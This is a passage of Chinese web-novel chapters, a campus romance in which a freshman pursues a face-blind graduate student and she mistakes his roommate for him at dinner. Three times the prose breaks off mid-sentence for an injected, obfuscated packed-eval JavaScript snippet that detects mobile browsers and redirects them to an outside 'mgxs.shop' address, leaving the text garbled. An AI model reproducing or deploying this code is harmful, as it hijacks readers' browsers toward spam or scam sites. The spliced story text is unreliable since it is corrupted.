身后白底黑字的PPT页码飞速滑过,那些专业术语他一个字也没听进去,脑子里只在反复思索一件事。 到底得是多差的记性,才能在见过两面之后,还把他当成路人? 直到旁边同学的手机震了一下,他才反应过来,差点忘记给楚桓录音了。 打开录音软件,见金书玉刚讲到入学适应的部分,没错过太多,宿昀便把手机扔一旁没再理会。 反而单手撑起下巴,视线跟着她的身影移动。 和之前见到的简单朴素不同,金书玉今天穿得很正式,黑色西装外套配修身西裤,衬得身段格外窈窕,一头中长发扎成利落的马尾,随着她抬手讲述的动作轻微摇晃。 这种正式的着装倒是意外地很衬她。 本来只是替楚桓来敷衍一下的,现在看来,这趟倒也不亏。 无端站了前排的宿昀在心里默默给自己点了个赞。 “今天的讲座内容到此结束,感谢大家。接下来是问答互动环节,同学们有疑问的话,有十分钟的时间向我提问。没有问题的话,大家就可以按序离场了。” 金书玉场面话说得挺流畅,心里想的却是别问别问别问,她可不想把这里变成第二个答辩现场! 然而天不遂她愿,话音刚落,一只手就高高举起,还在半空晃了晃,想忽视都难。 金书玉在心里叹了口气,面上却扬起笑:“这位同学,请说。” 男生“噌”地站起来,个子挺高,杵在那儿跟根柱子似的。他挠挠头,嘿嘿笑着问:“金师姐,我的问题是——你有没有男朋友?” “哇哦——” 教室里瞬间炸开。 听到这堪称冒犯的问题,宿昀眼皮都没抬一下,只是从鼻腔里溢出一声极轻的冷笑。 甚至都懒得回头去看那个莽撞人长什么样,他关了录音,指尖有一搭没一搭地敲着膝盖上的帽子。这种低级的开场白,连挑衅都算不上,顶多算自讨苦吃。 意料之中,讲台上金书玉淡淡开口,语调四两拨千斤:“那这位同学,你觉得呢?” 男生一愣,显然没料到会被反问。他张了张嘴,不太自在地接话:“那……那应该是有吧,师姐你这么好看……” 越说声音越小,最后讪讪地坐了回去。 宿昀眉梢挑了挑,他说什么来着,自讨苦吃。 这茬被不轻不重地揭过,金书玉没理会男生的反应,重新点了一位坐在前排的小姑娘。 小姑娘的问题就正常多了,问她如何平衡学业和生活之间的关系,如何在拿那么多奖、保持优异成绩的同时,还能让生活充满乐趣。 宿昀深觉无聊,手指又扣了扣棒球帽的边缘。这问题,鸡汤都成标准答案了,问出来简直浪费时间。 结果下一秒,讲台上传来干净的声音:“平衡?” 金书玉停顿了一下,似乎在斟酌词句,组织了一会儿语言,才缓缓道:“实话说,平衡不了。如果你们看到我的绩点觉得很漂亮,那是因为我把大量的时间花在了实验上。学业和享受生活,像我这种普通人,只能选一个。” 这种过分诚实的陈述,让原本期待着完美偶像的听众们都愣住了,倒是宿昀眼底掠过一丝意外。 没想到她竟然这么诚实,甚至诚实得有点呆。 小姑娘张了张嘴,似乎想说什么,又咽了回去。 “还有其他问题吗?” 教室里重新变得安静。 金书玉点点头,环视一周:“没有的话,讲座到此结束。请大家按序离场。” 人群嗡嗡往外走,间杂或低声或高声的讨论。 但这已经与金书玉无关了。 收好自己准备的资料,金书玉关了PPT取下U盘,正准备离开。 一抬头,发现宿昀单手插兜,手里还拎着那顶棒球帽,正倚着墙,站在过道旁等她。 金书玉看他一眼,知道他是方才那个眉毛缺了一块的同学,心下觉得他惨兮兮的同时,又多了几分耐心,“同学你还有问题?” 宿昀见状,眼底含着笑意:“是我啊,学姐。” 努力辨认了一下,金书玉还是没想起来他是谁。但看对方这熟稔的架势,应该是认识自己的,便也微笑应道:“你好。” 宿昀摸出手机,主动递到她面前:“好几次了,都没能加上学姐的微信。这次碰上了,学姐行个方便?” 一说起加微信,金书玉总算想起来面前这人是谁了。 前前后后两人碰到过好几次,倒也有缘。多加个小学弟也没什么影响,她摸出手机,准备应下。 屏幕刚亮,一张存在感极强的腹肌壁纸猝不及防地闯入视线。 金书玉眼皮一跳,手指条件反射地按灭了屏幕。 好家伙,思政课上帮钱乐乐签到,结果错把她的备用机顺走了。 宿昀眉梢微挑,目光从她手机上一掠而过,什么都没说,表情却丰富了一瞬。 没想到学姐面上看着挺乖,私下里竟然喜欢这样的。 金书玉面子上终于有些挂不住了,支吾开口:“那个,我手机在寝室,你把号码……” 说到一半,忽然又想起之前的事,话到嘴边拐了个弯:“我把号码告诉你,回去通过。” 宿昀倒没多问,只是点点头,进入查找界面,顺着金书玉报的号码一个个往里输入。 “这个,SY,是你么?” 金书玉瞥了一眼:“嗯。” 宿昀点击添加,微笑时虎牙不经意露出来:“那我和学姐还真是有缘,我的微信名也是SY。” 金书玉诧异:“嗯?” 宿昀在手机上打字,屏幕亮在金书玉面前:“我叫宿昀。” 宿,昀。 这姓氏倒是不太常见。 金书玉没多想,反正加上也不一定会聊。她点点头,抬脚就走。 刚走出教学楼,宿昀便在身后叫住她。 “学姐。” 金书玉回头。 宿昀站在原地没动,路灯的光落在他肩上,远远看去,竟衬得整个人清隽从容。 灯光明灭中,他忽地笑了一下:“你住哪栋?顺路的话一起走。” 金书玉愣了一秒,拒绝了,“不用,我去实验室。” “行。”他点点头,没有再跟上来,“那回头微信聊,学姐可别忘了通过。” 说完,转身便走了。姿态干净洒脱,毫不拖泥带水。 金书玉看着他的背影,愣了一下。 这人可真有意思,明明是主动跑来加她微信的,现在反倒像是他给了自己一个机会似的。 想法来得突兀,金书玉摇摇头,压下心中所想,抱着资料快步往实验室方向走去。 - 宿昀回到宿舍,心情尚好。 楚桓见他进来还吹着口哨,眉梢微挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469523|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“难得见你上一天课还这么高兴。” 宿昀故作神秘地摆摆手,“你不懂。” 没等楚桓提起,他主动把手机里的录音文件发了过去。 “谢谢。你的作业。”楚桓收到录音,递给他两张写满工整字迹的作业纸。 “谢了哥们!” 交易就此完成。 宿昀洗完澡出来,捞起手机一看,金书玉通过了他微信。 宿昀眉梢微微扬起,一手用毛巾擦着头,另一手捏着手机,慢吞吞地敲上自己的备注【宿昀,经管大一。】 对面回了个“嗯”,紧接着又补了一句在忙。 简短,干净,没半点多余的情绪,利落得像在对接工作。 宿昀盯着那条消息看了两秒,轻轻“啧”了一声。 还真是线上线下表里如一。 想起方才她说去实验室,忙一点倒也正常,宿昀没再回复。 顺手点开她的朋友圈,最近一条昨天刚发,转发导师的研究,他扫了一眼,没急着点赞。 再往下翻翻,没几条就到了底,加起来不超过十条。最早的一条是帝都大学本科录取通知书,基础信息全部打了码。 很无趣的朋友圈,什么私人生活都没有,想互动都无从下手。 宿昀把毛巾挂在床杆上,指尖无意识地在手机边缘轻扣两下。 越是这样令人捉摸不透的,越是让人想撬开看看里面究竟什么样。 他忽然想起自己下午瞥见的那张屏保。 张扬到几乎有点放肆的画面,和她本人反差大得离谱。 那如果她看到类似的,会是什么反应? 一想到那人清冷的表情可能会因此而变得生动,宿昀就有些坐不住了。 他立刻翻身坐起来,绕到镜子前。折腾了一会儿灯光,调整出一个朦胧模糊的氛围灯后,他用牙叼着衣摆,白色背心整个儿上掀,露出肌理分明、线条流畅的腹肌。 洗澡之后的水汽尚未完全干掉,顺着腹肌的肌理下滑,蔓延到裤腰深处。 快速完成拍照,他挑了两张角度不错的,又凑了几张平时健身时拍的存货,组成六宫格。 点开朋友圈时,指尖悬停两秒,最终设置了仅金书玉可见。 发完之后,他看了一眼屏幕。 他不相信,这次还能一点反应都没有,还能只回他一个在忙。 事实证明,还真没有。 第二天宿昀睁开眼,第一件事就是摸手机。 朋友圈有零个动静。切回和金书玉的聊天界面,挂在底部的,依旧是那句孤零零的在忙。 ……没看到?还是看到了又假装没看到? 宿昀眉梢拧起,不至于吧。 想了想,他又在宿舍里换了两套衣服,拍了几张风格迥异的自拍。这次他没设置权限,直接所有人可见。 发出去没几分钟,叮叮咚咚二三十个赞。 宿昀舒坦了。 这才对嘛。 可等到晚上,宿昀再翻朋友圈的时候,两百多个点赞消息里,他一个个看过去,都没有金书玉的头像。 ……这人都不看朋友圈的吗? 不过想想她那少得可怜的零星几条,平时不怎么看似乎也说得过去。 眉头拧着拧着,忽然松开了。 宿昀脑海中灵光一现。 不刷朋友圈是吧。 行,山不来就他,他去就山。 干脆把照片打包,一股脑地发她私信里。 他就不信了,这次还能看不到。 金书玉确实看到了。 问题是,看到的时候,她正站在超净台前,师姐正把叮咚弹消息的手机递过来。 懒得再重新消毒,金书玉随口道:“不知道谁这么着急,师姐你帮我扫一下脸。” 师姐依言照做,屏幕在金书玉脸前晃了一下,很快解锁。随后又按照她的指示点开了微信。 下一秒,宿昀的六张腹肌照和四张自拍接连弹出,张张高清无///码,怼脸放大。 金书玉:“……” 师姐:哦豁。 5. 情侣 快速将手头工作收尾,把仪器放回原位,金书玉在师姐揶揄的目光中,绷着脸接过手机。 “可以啊学妹,这才入学多久就拿下了?看样子还是弟弟呢。” “……刚认识。” 师姐眨眨眼:“懂得,会互相发腹肌照的那种陌生人嘛。” 金书玉不说话了。 她划开微信,对着那几张扎眼的照片琢磨了半晌,最后敲出一个问号发过去。 宿昀秒回:“学姐终于想起我了!” 好突兀好直接。 金书玉:“……什么事?” 宿昀发来一个猫猫探头的表情包:“学姐你都不看朋友圈的吗?加上两天都没动静。” 金书玉盯着那个表情包看了一会儿,思考宿昀一个大男生怎么也会用这种表情包。 而且,两天?有这么久吗? 她往回翻了一下聊天记录,从加上好友到现在,满打满算也就三十个小时。但确实,加上之后就没理过人家。 金书玉切到宿昀的朋友圈,刚点进去,手机甚至还卡了一下,好一会儿,才慢慢加载出缤纷各色的图片。 除去已经打包发给自己的几张,底下大多数都是各种自拍或者群拍,背景国内外都有,场合从餐厅游艇到球场宴会,横跨半个地球。 金书玉手指蜷了蜷。 想到自己无趣到可以用干瘪来形容的朋友圈,她顺着往下翻,一条一条地给宿昀的朋友圈点赞。 接连点了二十多条,手指都酸了。再往下一拉,居然还有。 打高尔夫发,海钓发,滑雪冲浪也发。 ……这人分享欲也太旺盛了。 看得眼睛累,金书玉索性关了手机,打算不再理会。 正准备重新开始实验的时候,宿昀又发来消息。 “学姐你给我点赞啦!” “不过光点赞不聊天,是不是不太够意思?” 金书玉:“所以?” “所以学姐是不是应该表示一下?” 金书玉有些无奈:“你想要什么表示。” 对面回得很快:“学姐陪我吃顿饭,不过分吧?” 燕国地图可真短啊,才两句话就图穷匕见。 金书玉想起今晚钱乐乐忙于实习,自己一个人的话,可能也就随便对付几口,索性应下。 “嗯。六点钟吧。” “行。学姐在哪?到时候我过去接你。” 金书玉把实验楼位置报给他,便重新看自己的细胞去了。 - 男生宿舍楼内,宿昀撂下手机,一看时间三点半,距离六点钟还有两个半小时,立马一骨碌从床上翻下来,在楚桓惊讶的目光中,冲进浴室。 楚桓欲言又止:“……我记得你早上才洗过。” 磨砂门内声音闷闷的,却带着掩不住的雀跃,“水费我会交,别管!” 楚桓:“……” 洗完出来,宿昀对着镜子快速吹了个发型,往脸上抹了一堆东西,又拿眉笔小心填补眉峰那块缺口。 很快,一个青春靓丽的男大出炉。 楚桓见他这么大阵仗,挑了挑眉。 宿昀拉开衣柜,一片花花绿绿个性独特的时尚风格闯入眼中。挑挑拣拣,挑了一个炸裂的大红色宽幅T恤,往身前一比划,满意极了。 这件最能体现他的颜值! 正准备喜滋滋地套上的时候,动作忽然停住。 上次去讲座穿的就是这一套,她肯定还记得。当时丢脸真是丢大发了,这次宿昀可不愿再扯起上次的回忆。 那……换哪件呢? 宿昀犹豫了一会儿,打算找楚桓问问意见。 一转头,就看到楚桓上白下黑,衬衫西裤修饰得整个人分外板正,半框眼镜搭在鼻梁上,垂眼看着书,斯文清俊。 宿昀脑子里忽然冒出那天讲座上金书玉穿西装的样子,身段窈窕,干净利落。 ……好像跟楚桓这一挂还挺搭的。 啧。 心里莫名有点不爽,但又说不上来为什么。 他撇撇嘴,把脑子里那点说不清道不明的感觉挥开,张口就要:“楚桓,你那一水儿的白衬衫,借我穿会儿呗。” 楚桓眉梢微扬,斜眼瞟他,“换风格了?不是看不上我这干部风?” 宿昀被他一打趣,烦躁得想抓头,手指刚触到发胶又缩了回来,生怕将好不容易成型的头发抓毁。 “哎呀借一下嘛,回头带你去旗舰店挑新的。” 大概猜出他想去干嘛,楚桓笑着摇摇头,指了指手边的衣柜,“自己挑。” 宿昀拉开柜门,衣服和裤子分区鲜明,哪像他那一柜子花花绿绿。整个衣橱里加起来就黑白灰三色,死板极了。要不是牌子和面料不一样,他甚至以为楚桓同样的衣服买了六七件。 随手挑了件衬衫,再拨拉出一条西裤,宿昀别别扭扭地套上了。 楚桓多问了一句:“见谁啊这么隆重。” 宿昀头都没抬:“哥的事少打听。” 楚桓好笑道:“行行行,不问。” 说来也巧,别看楚桓长得瘦瘦高高,衣服和裤腰的尺码居然和宿昀的差不多,除了裤脚边缘略短一些,乍看上去居然也人模人样。 陈凯刚下课回来,推开门,正撞上宿昀背对着他扣扣子,他想也没想,一巴掌拍上去,“楚老四,要出门啊?” 宿昀沉默地转过头。 陈凯看清人脸后,双眼顿时瞪大,“卧槽……” 手背很快贴上宿昀脑门,“兄弟你没事吧?穿成这样?” 宿昀一巴掌拍开他的爪子,“别把你爹的粉底液蹭花了。” 陈凯喃喃,“这对味了。” 然后恍恍惚惚地飘走了。 宿昀被他这么一搞,也不太确定了。他回到镜子前,看着风格迥异的自己,怎么看怎么牙酸。 他觉得自己这样吧,说好听点叫斯文,说难听点,就是装。 但一想到上次那堪称地狱的出场,眉毛秃着,头发翘着,衣服皱着,宿昀就觉得,装就装吧。 总不能每次见面都那么丢人。 他豁出去了! 全部收拾妥当,宿昀一看手表,已经五点出头。找楚桓借了电动车钥匙,食指挂着钥匙扣转圈,哼着小曲儿离开了。 宿舍门关上以后,楚桓后知后觉想起来什么,刚要开口,却发现宿昀已经离开了。 嘶,那车昨晚忘记充电了,宿昀他,应该会注意到的吧? - 宿昀大摇大摆地骑到实验楼下,一看时间才五点半。把车停好,抬脚进楼。 守楼阿姨见一个生面孔甩着手就要进去,一副对这里熟的不能再熟的模样,连忙拦住,“哎哎哎,小伙子,过来登记!” 被当场抓包,宿昀只好老老实实填表。 基本信息填完,他眼珠一转,“阿姨,请问金书玉学姐在哪间实验室呀?” 阿姨:“谁?” 宿昀:“金书玉。” 阿姨摇摇头,“不知道你说谁。他导师是谁?” 宿昀:“……” 他哪知道。 宿昀只好在大厅里坐下,闲着没事,便开了一局游戏。 明明1v4的对抗游戏,因为匹配到了感人队友,愣是玩出了1V1的架势。 在他溜了抓人者两分多钟且没有任何人援助时,终于不负众望地,倒地了。 宿昀:“……” 什么破游戏,什么破匹配机制,不玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469524|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 一看时间,已经六点钟,宿昀看向电梯口,已经有人三三两两走了出来,但金书玉不在其中。 又过了两分钟,就在宿昀等得没了耐心,想要发消息催的时候,电梯门叮咚一声打开,金书玉的身影终于出现在眼前。 她穿着一身白色的衬衫和黑色长裤,头发有些乱,脸上还有刚摘下护目镜和口罩的压痕。抬手把垂在眼前的碎发别到耳后,金书玉有些疲惫地四处张望,像是在找人。 宿昀收起手机,起身迎上去,“学姐,我在这!” 金书玉循声看过来,看到的就是一个高高俊俊的男生,穿得板正舒朗,发型挺括,眉目英挺,正对着自己,笑得爽朗。 心头忽然晃了晃。 金书玉拢了拢神,不太确定,“宿昀?” 宿昀应了一声,几乎是蹦到金书玉跟前,拖着音调,“走吧学姐,我都饿了。” 黏黏糊糊的声音由这么个大高个发出,实在是略显违和。 金书玉顶着周围传过来的或明或暗的打量,咬牙警告:“好好说话!” 宿昀原本不甚在意,见她反应如此激烈,玩心大起:“我本来就这样啊学姐,你不是一直都知道么,现在不会是厌烦人家了吧……” 金书玉太阳穴突突地跳,视线到处乱飘,总觉得周围的人都看了过来,连忙比了个手势:“打住!” 宿昀见好就收,笑意满满地将人带出门,安顿在自己的小电驴上。 六点钟的帝都大学,天色已大暗,只有残存的夕阳还晕开了浅淡的暖光,温润地洒在来往行人身上。 金书玉仰着头,看宿昀被光线照耀的发梢和脊背,暖热的风徐徐拂过耳侧,竟生出种岁月静好的错觉。 但这种静谧持续了不到半分钟。 电动车慢慢悠悠地晃着,越走越慢,最后嘎巴一下死路边了。 宿昀脸色铁青。 靠!关键时候怎么没电了! 金书玉开始还不明所以,站起身瞟了一眼仪表盘后,顿时了然。 心下失笑,拍拍他的肩膀,“走吧,它应该是动不了了,先去充电。” 宿昀耷拉着脑袋:“充电桩好远的,离这里两公里多。” 不用那么远。”金书玉跳下车,“跟我来。” 两人一车调了个头,宿昀慢悠悠地推着车,跟在金书玉身旁往前走。 金书玉还不怎么饿,这么溜达着倒也不觉得烦。 身边有人跟着一起,和自己一个人走路还不太一样。至于哪里不一样,她也说不上来。 大约走了二百米左右,金书玉把人带进了学校后门的家属区。 比起教学区,家属区住房间隔稀疏一些,楼房之间是大片茂密的植被。这会儿刚入秋,树叶还没怎么掉,风一吹,沙沙作响。 金书玉带着宿昀找到充电箱,给电动车充上电,两人又重新往回走。 途经一片树丛的时候,深处忽然传来一阵滋滋水声,夹杂着男生女生的低语。 金书玉觉得奇怪,朝那边瞟了一眼。 顿时僵住。 倒不是什么稀奇的画面,只是一对情侣在长椅上接吻,女生靠坐在男生怀里,二人你侬我侬地依偎着,一副十分甜蜜的模样。 但对金书玉来说,冲击确实有点大。 母胎单身二十多年,她哪里见过这种场面! 宿昀察觉到她突然停住,也探过头去看了一眼。他倒是没什么感觉,这情形高中时候就挺常见的。 一回头,却见金书玉脸颊微微紧绷,耳尖泛红。 顿时像发现了新大陆。 舌尖在嘴里打了个转,宿昀盯着无措的金书玉,明目张胆地试探: “学姐,看样子,你没谈过恋爱啊?” 6. 生动 金书玉没想到,有朝一日自己会被个小孩问住。 她停顿半晌,缓和了神情,慢悠悠地反将一军:“那你呢?经验很丰富?” “我?”宿昀慢慢往前踱步,脚尖踢开路面的一颗石子,语气自然,“我高中上的市重点,我妈专门和班主任打了招呼,把我盯得死死的。别说谈恋爱了,平时和女生多说几句话都要被班主任谈话。” 金书玉挑眉:“这么惨?” “可不是。”宿昀侧头看她,眉宇间透着股少年人特有的张扬,态度半真半假,“不过现在想想,幸亏那时候没浪费时间。不然万一高考失利没来这儿,哪能碰到学姐这么有意思的人?” 这种半真半假的恭维让金书玉的表情凝了一瞬。她打量着他的神情,分辨这话到底是真心还是顺嘴。 “学姐?学姐?”宿昀抬手在她眼前晃了晃。 金书玉恍然回神。为了掩盖那片刻的失神,她抬脚往外走。 宿昀慢悠悠地跟了上来,又问了一次。 “所以,学姐到底有没有谈过?” 金书玉脚步未停,侧头瞟他一眼。 天色已经彻底暗了下来,原本残留的落日也完全掩住了身形,路灯一盏盏亮起。 身边的男孩在忽明忽暗的光线下,越加显得轮廓深邃,那种优渥环境养出来周身气质,让他即使是在追问这种略显冒犯的边界话题时,也不显得局促紧张,和问她今晚吃什么一样自然。 和这样的人迂回没有意义,她干脆道:“没有。” 宿昀的眉梢漾开一抹意料之中的笑,嘴上却只是轻描淡写地“哦”了一声。 金书玉没错过那细微的表情变化,却觉得生动极了。 本以为谈话到此结束,宿昀却在跨过台阶时,又一次抛出句试探:“那学姐的理想型是什么样的?先说好,别拿看感觉这种话敷衍我,我可不信。” 这问题金书玉倒是从来没考虑过。前二十年,她的生活里只有读书和考试,哪里想过这些? 但此刻被问起,脑子里却忽然闪过一个念头。 至少,应该是她能记住的样子吧。 这对金书玉来说,其实已经是很高的要求了,高中同班了三年的同学,现在站在她面前,也依然认不出来。 但话到嘴边,又重新咽了回去。 没道理他问她就得答啊。 试图抢回主动权,金书玉反问道:“那你呢?” “我?”宿昀想了想,“这倒是没仔细考虑过。但我从小就特别崇拜读书好的,我们院里那群,一个比一个跳。我能考上这儿,全靠我妈每学期一群私人家教给堆上来的。” 说着,他看向金书玉,笑着补充:“学姐你一看就特别会读书。” 金书玉愣了一下,还没反应过来他的话究竟是什么意思,却见宿昀一摊手:“我都说完了,轮到你了学姐,你呢,理想型是什么样的。” 金书玉没打算和这个只有几面之缘的小孩深度探讨这种话题,便开玩笑地说:“嗯……年纪比我大的。” “哦喜欢年纪大……”话才说了一半,宿昀忽然卡住,瞪着一双大眼,眉梢高高抬起,似乎不相信自己听到了什么:“啊?” 像是不敢确定,他又重复了一遍,语气里满是困惑:“学姐你喜欢……年纪大的?” 表情实在生动,金书玉心里偷笑,面上却煞有介事地点头:“嗯。” 宿昀的脸瞬间垮了下来,试图掰正金书玉糟糕的审美和畸形的择偶观,“学姐你听我说,真不是我歧视,你没听社交媒体上分享生活的姐妹们都说吗,男人过了二十五就等于六十了,老盐帮菜有什么好的?” 金书玉装模作样地思考了一会儿:“还好吧,六十更好,他过他的,我过我的。免得打扰我做实验。” “六十?”宿昀气笑了,开始口不择言,“怎么能这么想呢?六十的男的喜欢他干嘛,图他不洗澡,还是一身老人味?真喜欢老头,还不如等我四十年。” 金书玉噗嗤一声笑了:“说得像是你六十岁还是香饽饽一样。” 见她笑得眉眼弯弯,宿昀心情也莫名跟着好起来,开始暴露本性自卖自夸:“那当然。学姐,不是我吹,就我这基因,就算到了六十,那也是帅老头!” 真是活宝。 金书玉笑着摇摇头,没再接话。 两人并肩走进了食堂,宿昀直接把她带到了自助餐厅。 “也不知道学姐的口味,咱们吃自助吧。” “好。” 饭点各个食堂都是人挤人,自助餐厅更是人满为患。宿昀眼疾手快,掏出手机和钥匙串,快速拍在了两张桌面上占座。 金书玉见他已经安排好,便转身去拿餐盘。 可就在转身的那一刹那,身侧忽然传来一声惊呼,金书玉感觉自己的手臂应该是碰到了餐盘之类的东西,但意外的,不锈钢盘子落地的声音并未传来。 她小心地挪了一个角度回头,宿昀掌心朝上,正稳稳托着一个餐盘,另一只手抬起,虚虚地护在她的腰侧。 热汤沿着碗壁晃了一圈,泛出点点油光,最终一滴都没洒出。 见食物完好无损,来人松了口气,低声说着谢谢,从宿昀手里接过餐盘。 “没事,小心看路。”宿昀顺口叮嘱了一句。 那人“嗯”了一声,小心地抬眼看了一眼宿昀,在宿昀疑惑的视线中,红着脸快步离开了。 金书玉反应了过来:“谢谢。你身手真好。” 才刚一夸,宿昀顿时翘起尾巴,“那是,毕竟我可是篮球队的,接个东西而已,洒洒水啦。学姐我平时打球可帅了,你要不要来看?” 金书玉心说她哪有空,但也没把话说死:“再说。” 得了个似是而非的保证,宿昀扬扬眉,端着盘子选菜去了。 金书玉吃得简单,碳水蛋白质和纤维各选一样,端着餐盘走回宿昀占的座位。 走近后,她发现宿昀已经坐在那里,盘子里的食物少了快一半。 吃这么快? 金书玉心下疑惑,走了过去,把盘子搁下,动静不小,但对面的人却丝毫没有抬头的意思。 金书玉不太确定,悄悄打量了一眼,白色衬衫和黑色长裤,她记得宿昀穿的就是这身。 谨慎起见,她还是试探地喊了一声:“宿昀?” 楚桓原本正专心地对付着自己盘子里的食物,对面有人坐下,他没在意。但这个名字……重名概率可不高。 他抬起头,对上了金书玉的视线。 见他有反应,金书玉松了口气,语带熟稔:“你吃这么快?那要不吃完了你先走吧,我估计得再等会。” 楚桓放下了筷子,打量了她一会儿。 这就是宿昀今天下午大动干戈的原因? 他余光一瞥,一眼就看见选菜区里穿梭的宿昀,浑然不知这边发生了什么。 楚桓唇角极轻地勾了勾。 有意思。 金书玉以为他没听见,又重复了一遍,楚桓收回视线,含糊地“嗯”了一声,筷子未停。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469525|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金书玉觉得有点奇怪,明明刚才一直努力寻找话题,一路上叽叽喳喳没停过,怎么一到吃饭的时候,就这么安静。 或许是家教的原因? 食不言,寝不语? 是了,宿昀说过,他妈妈管得严,平时规矩多点也能理解。 金书玉很快给自己找好了理由,也沉默地低头吃饭。 快速消灭了大半食物,金书玉放下筷子,正准备喝汤的时候,熟悉的声音在耳畔幽幽响起:“学姐,这顿饭……吃得挺投入啊?” 金书玉手一抖,汤匙磕在碗沿上,发出清脆的响声。 她猛地抬头,发现一个同样穿白衬衫黑西裤的男生正站在自己旁边。 盘子里食物相当丰盛,看上去是她两顿的量。 金书玉迟疑着猜测:“……宿昀?” 宿昀点头。 金书玉一脸懵地转头,看向坐在自己对面,吃得斯文的“宿昀”。 一模一样的白衬衫,如出一辙的黑长裤。若不是材质有些区别,她甚至以为两人穿的一套衣服。 此人正咽下最后一块青笋,把筷子搁置在干干净净的餐盘上,动作细致又慢条斯理,看上去赏心悦目。 他从餐盘旁边拿起半框眼镜戴上,原本模糊的轮廓瞬间变得锐利清冷。 他冲金书玉微微颔首,“重新认识一下,学姐,我叫楚桓,是宿昀的室友。” 金书玉张了张嘴。 所以你刚才怎么不说? 但话到嘴边又咽了回去。她能说什么呢?人家又没义务自我介绍,是她自己认错人还试图搭话。 她只能干巴巴地回:“……金书玉。” 听到录音里出现过的熟悉人名,楚桓眸光一闪,原本打算起身的动作又瞬间压了回去。 他顺势摸出手机:“既然遇上了,金学姐不如加个微信?正好我也是生物系的,有些问题想咨询下您。” 金书玉下意识想拒绝,一旁宿昀的视线正不冷不热地落在她身上,像细细密密的针。 这眼神看得她挺不自在。 在两道视线的夹击下,金书玉觉得自己如果不加楚桓,场面一直僵持恐怕会更难收场,索性摸出手机快速扫了一下。 她就这样莫名其妙地加上了楚桓的微信。 在宿昀几乎发冷的眼神中,楚桓冲他笑了一下,抬手拍拍他的肩,随即端起餐盘,脊背挺直,清清爽爽地走了。 盯着人离开食堂,宿昀拉开金书玉身边的椅子坐下,长腿放肆地舒展开。 “楚桓。”他重复了一遍,随后轻嗤一声,再看向金书玉时,笑意不达眼底,“金学姐,你这认人的本事,真是让我大开眼界。” 金书玉自知理亏,放下汤匙,垂下眼帘:“……你们穿得差不多。” “差不多?”宿昀像是听到了什么天大的笑话,他微微倾身,逼近金书玉的侧脸,柠檬香混杂着玫瑰水的气息瞬间笼罩下来。 他压低声音,语气里只剩秋后算账:“学姐,你是觉得这张脸长得太大众,还是觉得我这人太没存在感,能让你随随便便就将别人错认成我?” 金书玉张了张嘴,想辩解什么。本来她就脸盲,恰好两人又穿成一样,说实在的认错人也不完全怪她。 可她一对上宿昀那双似笑非笑的眼睛,所有的话便都噎在了喉咙里。 那表情分明在说:编,你继续编。 金书玉默默闭上了嘴。 见她这幅反应,宿昀有气也没处撒,只能将餐盘里的香芋球用筷子戳了个稀烂。 7. 脸盲 一顿饭吃得沉默,金书玉复盘着刚才两人的对话。 以当前两人的关系,说好听点,叫略微熟悉,说难听点,不过见了几面。 金书玉并不觉得宿昀有立场用这种质问的语气跟自己说话。 正打算不轻不重地刺回去,却见宿昀不知什么时候放下了筷子,身体后仰靠在椅背上。 他没看过来,只是盯着指尖那张印着自己证件照的饭卡,自嘲地扯了下嘴角:“看来是我误会了。我就说,像楚桓那样的,确实更像你们这种优等生会交的朋友。吃完饭咱们就各忙各的吧,这段时间……就当是我打扰学姐了。 虽然没直接提撇清关系的话,但宿昀那副冷冷淡淡垂下眼皮、拒人于千里之外的模样,显然是打算以后再也不联系了。 金书玉听着这股子别扭的腔调,只觉得荒谬得有些好笑。 她什么时候说过自己喜欢楚桓那样的?扔人堆里她都分不出来。 她觉得自己得解释清楚:“其实,我有面部识别障碍。” 宿昀愣了一下。 金书玉继续,“所以刚才,你们两个本来身高就差不多,再加上穿成一样,在我眼里,其实没什么区别。你要是再稍微晚两分钟过来,我可能连他是谁都不知道。” 宿昀盯着她看了足足半分钟,脑子里飞速加载“面部识别障碍”这个专有名词,等他彻底回过味来,才脱口而出:“学姐脸盲么?” 金书玉点头。 宿昀脑子里快速过了一遍两人几次见面的场景。 所有他觉得不可思议的瞬间,一旦加上脸盲这个前提,突然就都说得通了。 原来如此。 原来如此! 先前那股子阴郁瞬间消散得无影无踪,取而代之的是一种“原来他也没什么特别”的兴奋。 刚才还耷拉着的尾巴瞬间又翘了起来。他重新坐正身子,手上的动作却快得出奇,大快朵颐的模样像是要把刚才错过的食欲全补回来。 金书玉见他表情缓和,误会算是说开,站起身准备去买水。 以为她就要离开,宿昀伸手拉住了她的外套衣角。虽然是站在请求的立场,却没有半分请求的姿态:“等我一下,送你回去。” 